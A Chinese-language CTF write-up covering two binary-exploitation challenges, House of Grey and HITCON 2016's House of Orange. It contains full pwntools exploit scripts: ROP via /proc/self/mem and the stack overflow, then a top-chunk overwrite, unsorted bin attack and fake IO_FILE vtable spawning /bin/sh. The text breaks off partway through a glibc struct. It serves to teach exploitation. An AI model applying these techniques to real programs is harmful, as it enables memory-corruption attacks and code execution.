简单描述

该题没有明显的分界点, 涉及的知识也比较陌生,十分经典. 通过创建子进程方式避免被直接调试,且有记时,保护全开,要理解linux下的一些文件.如 /proc/self/下的文件,通过seccomp-tools检验程序, 发现禁用execve函数,只能通过open,read,write获取flag

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
void __fastcall fn(void *arg)
{
unsigned __int64 v1; // rsi
int fd; // [rsp+10h] [rbp-70h]
signed int i; // [rsp+14h] [rbp-6Ch]
int v4; // [rsp+1Ch] [rbp-64h]
int v5; // [rsp+1Ch] [rbp-64h]
void *v6; // [rsp+20h] [rbp-60h]
char buf[24]; //---------------------stack ouverflow
void *v8; // [rsp+48h] [rbp-38h]
char nptr; // [rsp+50h] [rbp-30h]
unsigned __int64 v10; // [rsp+78h] [rbp-8h]
__int64 savedregs; // [rsp+80h] [rbp+0h]

v10 = __readfsqword(0x28u);
puts("You get into my room. Just find something!\n");
v6 = malloc(100000uLL);
if ( !v6 )
{
perror("malloc");
exit(1);
}
if ( (unsigned int)sub_14D2(100000LL) )
exit(1);
v8 = v6;
for ( i = 0; i <= 29; ++i )
{
sub_FEE();
switch ( (unsigned int)&savedregs )
{
case 1u:
puts("So man, what are you finding?");
//length 40 can be stack overflow--------
buf[(signed int)((unsigned __int64)read(0, buf, 40uLL) - 1)] = 0;

if ( (unsigned int)check(buf) )//不能读取flag文件
{
puts("Man, don't do it! See you^.");
exit(1);
}
fd = open(buf, 0);
if ( fd < 0 )
{
perror("open");
exit(1);
}
return;
case 2u:
puts("So, Where are you?");
read(0, &nptr, 0x20uLL);
v1 = strtoull(&nptr, 0LL, 10);
lseek(fd, v1, 0); //可以定位fd的地址
break;
case 3u:
puts("How many things do you want to get?");
read(0, &nptr, 8uLL);
v4 = atoi(&nptr);
if ( v4 <= 100000 )
{
v5 = read(fd, v8, v4);
if ( v5 < 0 )
{
puts("error read");
perror("read");
exit(1);
}
puts("You get something:");
write(1, v8, v5);
}
else
{
puts("You greedy man!");
}
break;
case 4u:
puts("What do you want to give me?");
puts("content: ");
read(0, v8, 0x200uLL); // v8 can be modifyed
break;
case 5u:
exit(0);
return;
default:
continue;
}
}
puts("\nI guess you don't want to say Goodbye!");
puts("But sadly, bye! Hope you come again!\n");
exit(0);
}

vul: 存在堆栈溢出, 通过覆盖 v8实现任意地址读写

知识点

由于可以读取除了flag之外的文件,就可以读取/proc/self/maps文件,Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

程序最后有一个exit(0),由此,覆盖fn函数的返回地址来构造ROP不可行,但可以覆盖read函数的返回地址,也就是调用read任意写时,把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址,就需要确定栈的地址。

但是,由于程序是clone出来的,第三个参数指定了clone出的进程的栈地址,程序一开始用mmap映射了一段内存,然后取了其中的一个随机的位置传给了clone,由此,并不知道程序的栈地址。但是,可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址, 注意,堆栈的生长方向是由高地址向低地址生长。

思路

  1. 如何调试? 使用ida把超时函数的exit给patch掉, 通过gdb attach的方式调试子进程
  2. 漏洞 1: 明显的漏洞点就在执行1功能的时候就有字符串溢出, 可以覆盖v8变量通过4功能实现任意地址写入.
  3. 漏洞 2: 可以通过输入打开文件为 /proc/self/maps来获取各个基址
  4. 绕过PIE,以及利用/proc/self/mem来读取任意地址的内容
  5. 通过在/proc/self/mem中搜索’/proc/self/maps’字符串来定位堆栈的地址
  6. 计算出read ret地址,构造rop链读取flag

利用

获取基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sla('?', 'y')

#leaking base addr
p = '/proc/self/maps'
fid(p)
get(1500)

ru('You get something:\n')
exe_base = int(r(12), 16)
ru('[heap]\n')
stack_start = int(r(12), 16)
ru('-')
stack_end = int(r(12), 16)

ru('rw-p 00000000 00:00 0 \n')

libc_base = int(r(12), 16)
li('exe_base ' + hex(exe_base))
li('libc_base ' + hex(libc_base))

li('stack_start ' + hex(stack_start))
li('stack_end ' + hex(stack_end))

pop_rdi_ret_offset = 0x1823
pop_rsi_r15_ret_offset = 0x1821
pop_rdi_ret = exe_base + pop_rdi_ret_offset
pop_rsi_r15_ret = exe_base + pop_rsi_r15_ret_offset
open_plt = exe_base + exe.plt['open']
read_plt = exe_base + exe.plt['read']
puts_plt = exe_base + exe.plt['puts']

搜索内存定位read ret地址

接下来,就需要读取/proc/self/mem来搜索内存,确定栈地址了

1
2
3
4
for ( i = 0; i <= 29; ++i )
{
sub_FEE();
...

通过以上逻辑,程序只可以循环使用30次, 前面使用了4次, ,最后还需要用2次,搜索内存只能使用24次.

而每次最多允许读取100000个字节的数据,由此,能搜索2400000个字节的内容,通过调试,观察数据的栈地址,计算它与stack_end的值的差值,做一个大致的范围,由于栈是从高往低增长的,因此,应该从stack_end – x ~ stack_end搜索

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#position stack addr
offset = 0xf800000
li('debug---------------')
#begin_offset ~ stack_end
stack_begin_offset = stack_end - offset - 24 * 100000
li('stack_begin_offset ' + hex(stack_begin_offset))
li('stack_end ' + hex(stack_end))

fid('/proc/self/mem')
#打开该时起始地址为0,则偏移直接为stack_begin_offset地址
loc(stack_begin_offset) #loacate in stack_begin_offset
# searching
for i in range(0, 24): #内存搜索'/proc/self/mem'来定位栈地址.
get(100000)
text = ru('1.Find something')
if '/proc/self/mem' in text:
content = text.split('/proc/self/mem')[0] //若找到, 切割该字符串,获取前面的内容长度.
break
if i == 23:
li('not found')
exit(0)

v8_addr = stack_begin_offset + i * 100000 + len(content) - 0x14
li('v8_addr: ' + hex(v8_addr))

read_ret = v8_addr - (0x60 - 0x08) + 0x20
li('read_ret: ' + hex(read_ret))

构造rop链

在这里,只能通过写入read的 ret地址, 因为只有在刚读取完成之后, 返回的地址才不会被覆盖, 其他函数修改是被覆盖的,没有效果.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
p = '/proc/self/mem'.ljust(24, '\x00') + p64(read_ret)
fid(p) # fd as 5

#rop
#64位中 三个参数函数的传参方式
'''
read(fd, buf, length)
1 RDI 0x0 #fd
2 RSI 0x7fd5ffbc3640 ◂— '/proc/self/mem' #buf
3 RDX 0x28 #length
'''
ret = read_ret
#open ./flag
p = p64(pop_rdi_ret) + p64(ret + 15 * 8)
p += p64(pop_rsi_r15_ret) + p64(0) + p64(0) + p64(open_plt)

# read flag to buffer, fd is 6
p += p64(pop_rdi_ret) + p64(6)
p += p64(pop_rsi_r15_ret) + p64(ret + 15 * 8) + p64(0) + p64(read_plt)

# puts flag
p += p64(pop_rdi_ret) + p64(ret + 15 * 8) + p64(puts_plt)
# ./flag str will be replace flag{***}
#p = p64(pop_rdi_ret) + p64()
p += './flag\x00'
#db()

giv(p)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "house_of_grey"
libFile = ""

remoteIp = "111.198.29.45"
remotePort = 44908

LOCAL = 0
LIB = 0

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def fid(text):
sla('5.Exit\n', '1')
sla('?', text)

def loc(offset):
sla('5.Exit\n', '2')
sla('?', str(offset))

def get(length):
sla('5.Exit\n', '3')
sla('?', str(length))

def giv(text):
sla('5.Exit\n', '4')
sla('?', text)

def q(text):
sla('5.Exit\n', '5')

#--------------------------Exploit--------------------------
def exploit():

sla('?', 'y')

#leaking base addr
p = '/proc/self/maps'
fid(p)
get(1500)

ru('You get something:\n')
exe_base = int(r(12), 16)
ru('[heap]\n')
stack_start = int(r(12), 16)
ru('-')
stack_end = int(r(12), 16)

ru('rw-p 00000000 00:00 0 \n')

libc_base = int(r(12), 16)
li('exe_base ' + hex(exe_base))
li('libc_base ' + hex(libc_base))

li('stack_start ' + hex(stack_start))
li('stack_end ' + hex(stack_end))

pop_rdi_ret_offset = 0x1823
pop_rsi_r15_ret_offset = 0x1821
pop_rdi_ret = exe_base + pop_rdi_ret_offset
pop_rsi_r15_ret = exe_base + pop_rsi_r15_ret_offset
open_plt = exe_base + exe.plt['open']
read_plt = exe_base + exe.plt['read']
puts_plt = exe_base + exe.plt['puts']

#position stack addr
offset = 0xf800000
li('debug---------------')
#begin_offset ~ stack_end
stack_begin_offset = stack_end - offset - 24 * 100000
li('stack_begin_offset ' + hex(stack_begin_offset))
li('stack_end ' + hex(stack_end))

fid('/proc/self/mem')
loc(stack_begin_offset)
# searching
for i in range(0, 24):
get(100000)
text = ru('1.Find something')
if '/proc/self/mem' in text:
content = text.split('/proc/self/mem')[0]
break
if i == 23:
li('not found')
exit(0)


v8_addr = stack_begin_offset + i * 100000 + len(content) - 0x14
li('v8_addr: ' + hex(v8_addr))

read_ret = v8_addr - (0x60 - 0x08) + 0x20
li('read_ret: ' + hex(read_ret))
p = '/proc/self/mem'.ljust(24, '\x00') + p64(read_ret)
fid(p) # fd as 5

#rop
'''
3 RDX 0x28 #length
1 RDI 0x0 #fd
2 RSI 0x7fd5ffbc3640 ◂— '/proc/self/mem' #buffer
'''

ret = read_ret
#open ./flag
p = p64(pop_rdi_ret) + p64(ret + 15 * 8)
p += p64(pop_rsi_r15_ret) + p64(0) + p64(0) + p64(open_plt)

# read flag to buffer, fd is 6
p += p64(pop_rdi_ret) + p64(6)
p += p64(pop_rsi_r15_ret) + p64(ret + 15 * 8) + p64(0) + p64(read_plt)

# puts flag
p += p64(pop_rdi_ret) + p64(ret + 15 * 8) + p64(puts_plt)
# ./flag str will be replace flag{***}
#p = p64(pop_rdi_ret) + p64()
p += './flag\x00'
#db()

giv(p)


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

House Of Orange

来源

2016 ctf-HITCON

环境

libc: libc.2.23

Unbuntu16

难度

8 / 10

保护

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

简单描述

保护全开,有添加功能和编辑功能,只能添加4次,每次添加都会malloc三次分别储存不同的信息, 可以编辑三次,没有free函数,是经典的 House Of Orange漏洞利用类型.

vul

1
2
3
4
5
length = InputNum();
if ( length > 0x1000 )
length = 4096; // vul
printf("Name:");
InputContent((void *)qword_203068[1], length);

申请大小小于0x1000时,存在堆溢出漏洞.

知识点

House of orange ( modify top chunk realize free, unsoted bin attack, small bin attack, IO_FILE)

思路

使用堆溢出修改top chunk大小(按照内存对其), 再申请一个大小大于top chunk size 的chunk,然而old top chunk就会被free掉,申请一个large bin大小的chunk,由于large bin申请成功后fd_nextsize和bk_nextsize会指向自身地址,可以泄漏heap地址,然而,申请的位置也恰好含有以前所剩的main_arena信息,所以直接打印即可泄漏libc. 后面就通过unsorted bin attack修改IO_list_all为main_arena + 0x58, 然后根据small bin管理机制,修改main_arena + 0x58处的fake IO_FILE的chain的值指向伪造的IO_FILE,而使伪造堆块满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 然后会调用vtable中的__overflow 函数,然而我们可以伪造再一个vtable,实现在调用__overflow的时候调用我们的函数,这里函数就改为system,传入参数需要在伪造的IO_FILE头部写入’/bin/sh\x00’然后在unsoretd bin被破坏之后再次申请时报错, 那触发异常就会打印错误信息,malloc_printerrmalloc中用来打印错误的函数,而 malloc_printerr其实是调用 __libc_message函数之后调用abort函数,abort函数其中调用了_IO_flush_all_lockp, 然后根据IO_list_all中的值去遍历IO_FILE调用IO_FILE 的vtable中的 __overflow函数指针, 然后就可以调用system 传入 ‘/bin/sh\00’ get shell

利用

准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'houseoforange'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'
#libFile = './libc64-2.19.so'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla('Your choice : ', str(1))
sla('name :', str(size))
sa('Name :', data)
sla('Price of Orange:', str(16))
sla('Orange:', '1');


def md(size, data):
sla('Your choice : ', str(3))
sla('name :', str(size))
sa('Name:', data)
sla('Price of Orange:', str(16))
sla('Orange:', '1');

def dp():
sla('Your choice : ', str(2))

def q():
sla(':', str(5))

修改top chunk size实现free的效果

原理

House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin),这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins

来看一下这个过程的详细情况,假设目前的top chunk已经不满足malloc的分配需求。 首先我们在程序中的malloc调用会执行到libc.so的_int_malloc函数中,在_int_malloc函数中,会依次检验fastbin、small bins、unsorted bin、large bins是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用top chunk,在这里top chunk也不能满足分配的要求,因此会执行如下分支。

1
2
3
4
5
6
7
8
9
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

此时ptmalloc已经不能满足用户申请堆内存的操作,需要执行sysmalloc来向系统申请更多的空间。 但是对于堆来说有mmap和brk两种分配方式,需要让堆以brk的形式拓展,之后原有的top chunk会被置于unsorted bin中。

综上,要实现brk拓展top chunk,但是要实现这个目的需要绕过一些libc中的check,首先,malloc的尺寸不能大于mmp_.mmap_threshold

1
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap()分配的内存块小于设定的最大值,将使用 mmap()系统调用直接向操作系统申请内存。

在sysmalloc函数中存在对top chunk size的check,如下

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

这里检查了top chunk的合法性,如果第一次调用本函数,top chunk可能没有初始化,所以可能old_size为0,如果top chunk已经初始化了,那么top chunk的大小必须大于等于MINSIZE,因为top chunk中包含了 fencepost,所以top chunk的大小必须要大于MINSIZE。其次Top chunk必须标识前一个chunk处于inuse状态,并且top chunk的结束地址必定是页对齐的。此外top chunk除去fencepost的大小必定要小于所需chunk的大小,否则在_int_malloc()函数中会使用top chunk分割出chunk

总结一下伪造的top chunk size的要求

1.伪造的size必须要对齐到内存页

2.size要大于MINSIZE(0x10)

3.size要小于之后申请的chunk size + MINSIZE(0x10)

4.size的prev inuse位必须为1

之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中

回到题中,就要得满足以上要求

1
2
3
4
5
6
7
pwndbg> x /40gx 0x555555758060
0x555555758060: 0x0000000000000000 0x0000000000020fa1
0x555555758070: 0x0000000000000000 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
0x555555758090: 0x0000000000000000 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000000
0x5555557580b0: 0x0000000000000000 0x0000000000000000

然而 0x555555758060 + 0x0000000000020fa1 == 0x555555779001 , 去掉inuse位,则内存是按照0x1000对齐的,则我们所能修改top chunk的大小就可以为: (x * 0x1000 + 0x20fa1) > MINSIZE(0x10) (x 属于 整数),题中在添加的时候,最多只能申请大小为0x1000,那我们就通过堆溢出把top chunk size 改为: 0x0fa1, 然后再申请大于这个top chunk size的chunk就可以实现top chunk free后成为unsoted bin

1
2
3
4
5
6
7
8
ad(0x10, 'A' * 0x10)
p = 'A' * 0x10
p += p64(0) + p64(0x21) #后一个储存颜色的chunk
p += p64(0x1f00000010)
p += p64(0)
p += p64(0) # top chunk pre_size
p += p64(0x00fa1) # top chunk size
md(0x80, p) # 堆溢出修改top chunk size

实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557580a0
smallbins
empty
largebins
empty

Leak libc and heap addr

申请一个小于刚才释放 unsoted bin 大小的一个chunk,根据unsoted bin的分割特性,会把main_arena转移,且不会清空chunk 的fd和bk的内容,所以main_arena还存在,直接打印即可获取main_arena地址泄漏libc,但在添加的时候要输入内容,为了得到完整的main_arena地址信息,就填充8个字符到chunk bk位置从而泄漏完整地址, 为了后面要采取伪造fake IO_FILE结构,就要得修改vtable指向当前伪造的虚函数表,那就要得知道heap地址了, 那怎么泄漏 heap地址呢? 由于large bin 大小的chunk有一个特点,申请成功的chunk 的 fd_nextsize和bk_nextsize会填充为自己的地址

large bin申请成功后,会向fd_nextsize和bk_nextsize填充自己的地址代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
//这里若申请的是符合large bin大小的chunk
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
//向后退两个chunk, 而fwd->fd == victim
fwd = bck;
bck = bck->bk; // bck->fd =fwd->bk
//这里的victim 的值就是chunk的申请到的地址
victim->fd_nextsize = fwd->fd; //还是填充自己本身地址
victim->bk_nextsize = fwd->fd->bk_nextsize; //填充之后,再取出来继续填充一样的地址,还是本身地址.
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

成功malloc(0x400)后填充’C’ * 8 的堆数据如下

1
2
3
4
pwndbg> x /40gx 0x5555557580c0
0x5555557580c0: 0x0000000000000000 0x0000000000000411
0x5555557580d0: 0x4343434343434343 0x00007ffff7dd2188 # main_arena + 88
0x5555557580e0: 0x00005555557580c0 0x00005555557580c0 # self heap addr

利用

1
2
3
4
5
6
7
8
9
10
11
12
# leak libc base with overflow
ad(0x400, 'C' * 0x8)
dp()
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - main_arena - 1640
li('libc_base ' + hex(lib.address))

# leak heap addr with large bin
md(0x10, 'C' * 0x10)
dp()
ru('CCCCCCCCCCCCCCCC')
heap = u64(ru('\x0a').ljust(8, '\x00')) - 0xc0
li('heap ' + hex(heap))

触发异常劫持控制流程

怎么触发呢? 只要破坏unsorted bin 链表结构,再次申请时就会触发异常,那触发异常就会打印错误信息,malloc_printerrmalloc中用来打印错误的函数,而 malloc_printerr其实是调用 __libc_message函数之后调用abort函数,abort函数其中调用了_IO_flush_all_lockp, 然后根据IO_list_all中的值去遍历IO_FILE调用IO_FILE 的vtable中的 __overflow函数指针

unsorted bin attack 修改 _IO_list_all

如何进行劫持,采用修改old top chunk 的结构,使之报错,然而我们只需要采用unsorted bin attack修改_IO_list_all的值为unsorted_chunks(av)也就是main_arena + 0x58.修改这个有什么用? 本来_IO_list_all的值是指向_IO_2_1_stderr,若修改这个值,那么在malloc报错的时候就会遍历_IO_list_all 指向的IO_FILE结构体,详细后面会说道.

unsorted bin attack 实现攻击源码

1
2
3
4
5
6
7
8
9
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}

/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av); //实现想目标处修改值

实现修改如下

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x /10gx &_IO_list_all
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000

pwndbg> x /10gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x000055555577a010 0x00005555557584f0
0x7ffff7dd1b88 <main_arena+104>: 0x00005555557584f0 0x00007ffff7dd2510
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8

利用

1
2
3
4
5
6
7
8
9
10
# Control program
p = 'B' * 0x400
p += p64(0)
p += p64(0x21)
p += 'B' * 0x10

# fake file
f = p64(0) # old top chunk prev_size
f += p64(0x100) # old top chunk size
f += p64(0) + p64(_IO_list_all - 0x10) # unsoted bin attack实现修改 _IO_list_all

劫持流程

若下次申请大小为0x10的时候, 由于unsorted bin 的结构已经被修改, 0x10 <= 2*SIZE_SZ,就会触发malloc_printerr

1
2
3
4
5
6
7
8
9
10
11
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",// 执行该函数
chunk2mem (victim), av);
size = chunksize (victim);

那么在执行malloc_printerr函数就会执行到_IO_flush_all_lockp, 来了解一下_IO_flush_all_lockp 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
//循环遍历IO_FILE,采用 fp->chain来进行获取下一个IO_FILE, 那么
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
//check, 在后面伪造的IO_FILE中需要绕过,然后执行 _IO_OVERFLOW (fp, EOF) == EOF)
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //参数传入IO_FILE的地址和EOF
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

_IO_flush_all_lockp函数中会根据_IO_list_all中的值,依次遍历IO_FILE,那我们就想法设法构建自己的IO_FILE,若IO_FILE满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 然后会调用vtable中的__overflow 函数,我们就可以伪造一个vtable,实现在调用__overflow的时候调用我们的函数

来了解一下IO_FILE_plus结构体.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
struct _IO_FILE_plussize_of=0x78+0x8
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;//储存下一个IO_FILE的地址,这是关键,后面采用一种方法实现main_arena + 88的IO_FILE结构体的这个值指向我们所构造的fake IO_FILE

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

vtable表中结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
